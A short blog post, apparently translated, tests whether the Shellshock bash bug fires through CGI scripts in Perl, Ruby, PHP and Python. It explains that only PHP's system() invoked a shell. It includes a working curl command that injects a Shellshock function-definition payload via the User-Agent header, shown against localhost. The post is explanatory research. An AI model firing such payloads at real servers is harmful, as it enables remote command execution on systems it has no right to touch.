Due to a bash vulnerability (CVE-2014-6271 etc.), when a program language function that executes OS commands such as the system function from Perl or Ruby CGI is used, the data sent from the browser such as UserAgent becomes an environment variable. It's been talked about that bash starts in the stored state and ShellShock occurs, but is that really the case?
Experiments were performed with the following processing system.
CGI that just calls and displays the OS command ʻenv`.
Perl
#!/usr/bin/env perl
print "Content-Type: text/html;\n\n";
print system('env');
Ruby
#!/usr/bin/env ruby
print "Content-Type: text/html;\n\n"
print system('env')
PHP
#!/usr/bin/env php
<?php
print system('env');
?>
Python3
#!/usr/bin/env python3
import subprocess
print("Content-Type: text/html;\n")
print(subprocess.check_output('env'))
Requests are generated with curl. -A is an option to specify UserAgent.
$ curl -A '() { :; }; echo Hello!' localhost/index_xxx.cgi
All of them passed UserAgent as an environment variable, but ʻecho Hello!` Was executed only in PHP.
$ curl -A '() { :; }; echo Hello!' localhost/index_php.cgi
Hello!
SERVER_SIGNATURE=
SERVER_PORT=80
HTTP_HOST=localhost
DOCUMENT_ROOT=/Library/WebServer/Documents
SCRIPT_FILENAME=/Library/WebServer/Documents/index_php.cgi
REQUEST_URI=/index_php.cgi
SCRIPT_NAME=/index_php.cgi
__CF_USER_TEXT_ENCODING=0x46:0:0
REMOTE_PORT=50129
PATH=************
PWD=/Library/WebServer/Documents
[email protected]
HTTP_ACCEPT=*/*
REMOTE_ADDR=::1
SHLVL=1
SERVER_NAME=localhost
SERVER_SOFTWARE=Apache/2.2.26 (Unix) DAV/2 mod_ssl/2.2.26 OpenSSL/0.9.8za
QUERY_STRING=
SERVER_ADDR=::1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
HTTP_USER_AGENT=() { :
}
_=/usr/bin/env
_=/usr/bin/env%
First, Perl and Ruby use system calls to execute commands without going through the shell if there are no shell metacharacters in the command. In case of Python, if shell = True is not added, the shell will not be started. Since the shell does not start, it is not affected by ShellShock.
PHP seems to launch the shell as it is normally.
For programs other than PHP, even if you use a function that executes an OS command such as system, it seems that the shell is not always called. So even if you use a function like system, I don't think it's always affected by ShellShock.
Recommended Posts